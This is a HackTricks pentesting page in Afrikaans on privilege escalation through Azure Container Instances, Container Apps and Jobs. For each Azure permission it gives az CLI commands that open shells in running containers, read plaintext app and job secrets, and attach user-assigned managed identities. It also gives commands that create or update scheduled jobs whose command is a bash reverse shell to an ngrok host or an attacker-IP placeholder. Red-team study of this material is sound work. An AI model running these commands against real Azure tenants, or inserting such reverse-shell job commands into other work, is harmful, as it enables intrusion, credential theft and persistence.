Az - Azure Container Instances, Apps & Jobs Privesc

Tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Azure Container Instances, Apps & Jobs

Vir meer inligting, kyk:

Az - Container Instances, Apps & Jobs

ACI

Microsoft.ContainerInstance/containerGroups/read, Microsoft.ContainerInstance/containerGroups/containers/exec/action

Hierdie toestemmings laat die gebruiker toe om ’n opdrag uit te voer in ’n lopende houer. Dit kan gebruik word om privileges te verhoog in die houer as dit enige bestuurde identiteit het. Natuurlik is dit ook moontlik om toegang te verkry tot die bronkode en enige ander sensitiewe inligting wat binne die houer gestoor is.

Om ’n shell te kry is so eenvoudig soos:

az container exec --name <container-name> --resource-group <res-group>  --exec-command '/bin/sh'

Dit is ook moontlik om die uitvoer van die houer te lees met:

az container attach --name <container-name> --resource-group <res-group>

Of kry die logs met:

az container logs --name <container-name> --resource-group <res-group>

Microsoft.ContainerInstance/containerGroups/write, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action

Hierdie toestemmings laat toe om ’n gebruikersbestuurde identiteit aan ’n houergroep te koppel. Dit is baie nuttig om voorregte in die houer te verhoog.

Om ’n gebruikersbestuurde identiteit aan ’n houergroep te koppel:

az rest \
--method PATCH \
--url "/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ContainerInstance/containerGroups/<container-name>?api-version=2021-09-01" \
--body '{
"identity": {
"type": "UserAssigned",
"userAssignedIdentities": {
"/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<user-namaged-identity-name>": {}
}
}
}' \
--headers "Content-Type=application/json"

Microsoft.Resources/subscriptions/resourcegroups/read, Microsoft.ContainerInstance/containerGroups/write, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action

Hierdie toestemmings laat toe om ’n container groep te skep of op te dateer met ’n gebruikersbestuurde identiteit daaraan geheg. Dit is baie nuttig om voorregte in die container te verhoog.

az container create \
--resource-group <res-group> \
--name nginx2 \
--image mcr.microsoft.com/oss/nginx/nginx:1.9.15-alpine \
--assign-identity "/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<user-namaged-identity-name>" \
--restart-policy OnFailure \
--os-type Linux \
--cpu 1 \
--memory 1.0

Boonop, dit is ook moontlik om ’n bestaande houergroep op te dateer deur byvoorbeeld die --command-line argument met ’n omgekeerde skulp toe te voeg.

ACA

Microsoft.App/containerApps/read, Microsoft.App/managedEnvironments/read, microsoft.app/containerapps/revisions/replicas, Microsoft.App/containerApps/revisions/read, Microsoft.App/containerApps/getAuthToken/action

Hierdie toestemmings laat die gebruiker toe om ’n skulp te kry in ’n lopende toepassingshouer. Dit kan gebruik word om privileges te verhoog in die houer as dit enige bestuurde identiteit het. Natuurlik is dit ook moontlik om toegang te verkry tot die bronkode en enige ander sensitiewe inligting wat binne die houer gestoor is.

az containerapp exec --name <app-name> --resource-group <res-group> --command "sh"
az containerapp debug --name <app-name> --resource-group <res-group>

Microsoft.App/containerApps/listSecrets/action

Hierdie toestemming laat toe om die duidelike teks van die geheime wat binne ’n houer-app gekonfigureer is, te verkry. Let daarop dat geheime gekonfigureer kan word met die duidelike teks of met ’n skakel na ’n sleutelkluis (in so ’n geval sal die app ’n bestuurde identiteit toegeken hê met toegang tot die geheime).

az containerapp secret list --name <app-name> --resource-group <res-group>
az containerapp secret show --name <app-name> --resource-group <res-group> --secret-name <scret-name>

Microsoft.App/containerApps/write, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action

Hierdie toestemmings laat toe om ’n gebruikersbestuurde identiteit aan ’n container-app te koppel. Dit is baie nuttig om voorregte in die container te verhoog. Om hierdie aksie vanaf die az cli uit te voer, vereis dit ook die toestemming Microsoft.App/containerApps/listSecrets/action.

Om ’n gebruikersbestuurde identiteit aan ’n container-groep te koppel:

az containerapp identity assign -n <app-name> -g <res-group> --user-assigned myUserIdentityName

Microsoft.App/containerApps/write, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action, Microsoft.App/managedEnvironments/join/action

Hierdie toestemmings laat toe om ’n toepassingshouer te skep of op te dateer met ’n gebruikersbestuurde identiteit daaraan geheg. Dit is baie nuttig om voorregte in die houer te verhoog.

# Get environments
az containerapp env list --resource-group Resource_Group_1

# Create app in a an environment
az containerapp create \
--name <app-name> \
--resource-group <res-group> \
--image mcr.microsoft.com/oss/nginx/nginx:1.9.15-alpine \
--cpu 1 --memory 1.0 \
--user-assigned <user-asigned-identity-name> \
--min-replicas 1 \
--command "<reserse shell>"

Tip

Let daarop dat met hierdie toestemmings ander konfigurasies van die app gewysig kan word wat dit moontlik kan maak om ander privesc en post-exploitation aanvalle uit te voer, afhangende van die konfigurasie van bestaande apps.

Jobs

Microsoft.App/jobs/read, Microsoft.App/jobs/write

Alhoewel jobs nie langlopende soos container apps is nie, kan jy die vermoë om die job se opdragkonfigurasie te oorskry wanneer ’n uitvoering begin, benut. Deur ’n pasgemaakte job-sjabloon te skep (byvoorbeeld, die standaardopdrag met ’n reverse shell te vervang), kan jy toegang tot die shell binne die container wat die job uitvoer, verkry.

# Retrieve the current job configuration and save its template:
az containerapp job show --name <job-name> --resource-group <res-group> --output yaml > job-template.yaml

# Edit job-template.yaml to override the command with a reverse shell (or similar payload):
# For example, change the container’s command to:
#  - args:
#      - -c
#      - bash -i >& /dev/tcp/4.tcp.eu.ngrok.io/18224 0>&1
#      command:
#      - /bin/bash
#      image: mcr.microsoft.com/azureml/minimal-ubuntu22.04-py39-cpu-inference:latest

# Update and wait until the job is triggered (or change ths type to scheduled)
az containerapp job update --name deletemejob6 --resource-group Resource_Group_1 --yaml /tmp/changeme.yaml

# Start a new job execution with the modified template:
az containerapp job start --name <job-name> --resource-group <res-group> --yaml job-template.yaml

Microsoft.App/jobs/read, Microsoft.App/jobs/listSecrets/action

As jy hierdie toestemmings het, kan jy al die geheime (eerste toestemming) binne ’n Job-container lys en dan die waardes van die geconfigureerde geheime lees.

az containerapp job secret list --name <job-name> --resource-group <res-group>
az containerapp job secret show --name <job-name> --resource-group <res-group> --secret-name <secret-name>

Microsoft.ManagedIdentity/userAssignedIdentities/assign/action, Microsoft.App/jobs/write

As jy toestemming het om ’n werk se konfigurasie te wysig, kan jy ’n gebruiker-toegewyde bestuurde identiteit aanheg. Hierdie identiteit mag addisionele voorregte hê (byvoorbeeld, toegang tot ander hulpbronne of geheime) wat misbruik kan word om voorregte binne die houer te eskaleer.

az containerapp job update \
--name <job-name> \
--resource-group <res-group> \
--assign-identity <user-assigned-identity-id>

Microsoft.App/managedEnvironments/read, Microsoft.App/jobs/write, Microsoft.App/managedEnvironments/join/action, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action

As jy ’n nuwe Container Apps Job kan skep (of ’n bestaande een kan opdateer) en ’n bestuurde identiteit kan koppel, kan jy die werk ontwerp om ’n payload uit te voer wat privaathede eskaleer. Byvoorbeeld, jy kan ’n nuwe werk skep wat nie net ’n omgekeerde shell uitvoer nie, maar ook die bestuurde identiteit se akrediteeringe gebruik om tokens aan te vra of toegang tot ander hulpbronne te verkry.

az containerapp job create \
--name <new-job-name> \
--resource-group <res-group> \
--environment <environment-name> \
--image mcr.microsoft.com/oss/nginx/nginx:1.9.15-alpine \
--user-assigned <user-assigned-identity-id> \
--trigger-type Schedule \
--cron-expression "*/1 * * * *" \
--replica-timeout 1800 \
--replica-retry-limit 0 \
--command "bash -c 'bash -i >& /dev/tcp/<attacker-ip>/<port> 0>&1'"

Tip

Hierdie opdrag sal ’n fout gooi as jy nie die Microsoft.App/jobs/read toestemming het nie, alhoewel die Werk geskep sal word.

microsoft.app/jobs/start/action, microsoft.app/jobs/read

Dit lyk of dit met hierdie toestemmings moontlik moet wees om ’n werk te begin. Dit kan gebruik word om ’n werk met ’n omgekeerde shell of enige ander kwaadwillige opdrag te begin sonder om die konfigurasie van die werk te moet wysig.

Ek het nie daarin geslaag om dit te laat werk nie, maar volgens die toegelate parameters behoort dit moontlik te wees.

Microsoft.ContainerInstance/containerGroups/restart/action

Laat toe om ’n spesifieke houergroep binne Azure Container Instances te herbegin.

az container restart --resource-group <resource-group> --name <container-instances>

Tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks